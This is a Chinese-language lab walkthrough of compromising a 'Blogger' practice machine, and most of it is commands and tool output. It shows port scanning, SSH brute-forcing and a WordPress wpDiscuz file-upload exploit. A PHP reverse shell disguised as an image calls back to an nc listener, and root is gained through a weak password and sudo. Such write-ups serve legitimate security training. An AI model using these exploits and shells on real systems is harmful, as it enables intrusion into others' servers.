目录
getwebshell → 目录扫描 → CMS指纹扫描 → 漏洞发现
提 权 思 路 → 用户弱密码 → sudo su提权
192.168.45.176
192.168.190.217
┌──(root㉿Kali)-[/home/bachang/Blogger]
└─# sudo nmap --min-rate 10000 -p- 192.168.190.217
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 02:25 CST
Nmap scan report for 192.168.190.217
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
[!通过各两次扫描收集到端口 ]
22,80
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.190.217
目前22端口和80端口开放,分别进行尝试
通过Nmap
探测获得SSH
的版本信息,可以尝试利用
# 进入msf 探测版本为OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
console
# 搜索对应脚本
msf6 > searchsploit openssh 7.2
发现我们的OpenSSH 7.2p2
是存在用户名枚举的漏洞
# 查看msf对应的内容
cat /usr/share/exploitdb/exploits/linux/remote/40136.py
python /usr/share/exploitdb/exploits/linux/remote/40136.py 192.168.190.217 -U /usr/share/wordlists/metasploit/password.lst
有点鸡肋,放弃
尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.190.217 ssh -s 22
发现目标不支持密码连接
尝试root
账户的密码爆破发现报错之后进行手动尝试
ssh [email protected] -p 22
# 密码尝试
password > root
接下来只能通过80端口进行突破了
访问 http://192.168.190.217:80 看上去是个标准的cms
┌──(root㉿Kali)-[/home/bachang/Blogger]
└─# whatweb http://192.168.190.217:80
http://192.168.190.217:80 [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ], Email[[email protected],[email protected]], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.190.217], JQuery[2.2.3], PasswordField, Script, Title[Blogger | Home]
可能CMS是Blogger
? 不清楚版本信息先不考虑网站指纹
# 利用html2text转换纯文本方便查看
curl http://192.168.190.217:80 | html2text
查看了一下没找到什么有用的信息
dirsearch -u http://192.168.190.217:80 -x 302,403
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
访问了该端点之后发现了路径遍历
可以尝试对该端点进行 -r
递归扫描
dirsearch -u http://192.168.190.217:80/assets -x 302,403 -r 2
在该端点下发现一个比较感兴趣的文件夹/blog
发现访问IP被重定向,修改host
vim /etc/hosts
192.168.190.217 blogger.thm
再次访问发现加载正常
whatweb http://192.168.190.217/assets/fonts/blog/
发现运用了WordPress 4.9.8
msfconsole
searchsploit WordPress 4.9.8
搜索发现主要是和插件有关,需要探索插件
# 针对wordpress的专用扫描器
wpscan --url http://192.168.190.217/assets/fonts/blog/
通过wpscan
发现了很多漏洞,比较严重的和上传有关
访问wpscan
扫描出来的功能点发现是路径遍历
发现了一处发表评论的功能点,可以上传图片
这时候查看源码,是否可以确认这是wordpress的哪个组件
发现引用了wpdiscuz
的组件
# 直接上msf查找
msf6 > searchsploit wpdiscuz 7.0.4
发现存在插件的上传,尝试利用msf
msf6 > search wpdiscuz
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload 2020-02-21 excellent Yes WordPress wpDiscuz Unauthenticated File Upload Vulnerability
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
msf6 > use 0
show options
设置需要修改的参数
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set lhost 192.168.45.176
lhost => 192.168.45.176
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set rhosts 192.168.190.217
rhosts => 192.168.190.217
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogpath /assets/fonts/blog/?p=9
blogpath => /assets/fonts/blog/?p=9
尝试另外两个脚本
cat /usr/share/exploitdb/exploits/php/webapps/49967.py
cat /usr/share/exploitdb/exploits/php/webapps/49962.sh
py脚本需要确定地址和路径
python /usr/share/exploitdb/exploits/php/webapps/49967.py -u http://192.168.190.217/assets/fonts/blog -p wp-content/uploads/2023/07/blogpost
网上直接搜索了相关的文章
上传一个shell.jpg
文件,此文件是shell.php
更改了后缀的,再利用BurpSuite
抓包
添加GIF89a
的头部获得上传路径
# 利用cp命令cp一个到当前文件夹
sudo cp /usr/share/webshells/php/php-reverse-shell.php .
# 修改成jgp
cp php-reverse-shell.php ./shell.jpg
# 修改里面的监听端口
# 开启监听
nc -lvvp 1234
上传抓包,准备修改
由于获取的shell交互不友好,利用python获得新的交互shell
# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";
python3 -c "import pty;pty.spawn('/bin/bash')";
说明系统内是python3
www-data@ubuntu-xenial:/$ find / -name local.txt 2>/dev/null
/home/james/local.txt
www-data@ubuntu-xenial:/$ cat /home/james/local.txt
**************************
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
www-data@ubuntu-xenial:/$ sudo -l
[sudo] password for www-data:
# -perm 文件权限
find / -perm -u=s -type f 2>/dev/null
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2>/dev/null
# 寻找定时任务并修改进行提权
cat /etc/crontab
# 确定发行版本
lsb_release -a
# Ubuntu 16.04.7 LTS 不符合
# 确定发行版本 Ubuntu 16.04.7 LTS 符合
lsb_release -a
# 首先确定内核版本 4.4.0-206 不符合
uname -a
手动查看root的进程,查找可以权限提升内容
# 调整行列,方便查询进程
stty rows 50 cols 250
# 查找进程,是否存在root权限进程
ps aux
ls -al /home
# 例如.ssh找密码 ./*_history找历史记录等
ls -al /home/james
尝试直接用用户的账号当密码进行登录(因为不能利用hyrda远程爆破)
www-data@ubuntu-xenial:/home/vagrant$ su ubuntu
su ubuntu
Password: ubuntu
su: Authentication failure
www-data@ubuntu-xenial:/home/vagrant$ su vagrant
su vagrant
Password: vagrant
vagrant@ubuntu-xenial:~$
之后进行第二轮提权
查找具有sudo
权限,且不需要密码的可提权文件
vagrant@ubuntu-xenial:~$ sudo -l
sudo -l
Matching Defaults entries for vagrant on ubuntu-xenial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User vagrant may run the following commands on ubuntu-xenial:
(ALL) NOPASSWD: ALL
存在(ALL) NOPASSWD: ALL
# su提权
vagrant@ubuntu-xenial:~$ sudo su
sudo su
root@ubuntu-xenial:/home/vagrant#
提权成功
cat /root/proof.txt
*************************
完结撒花~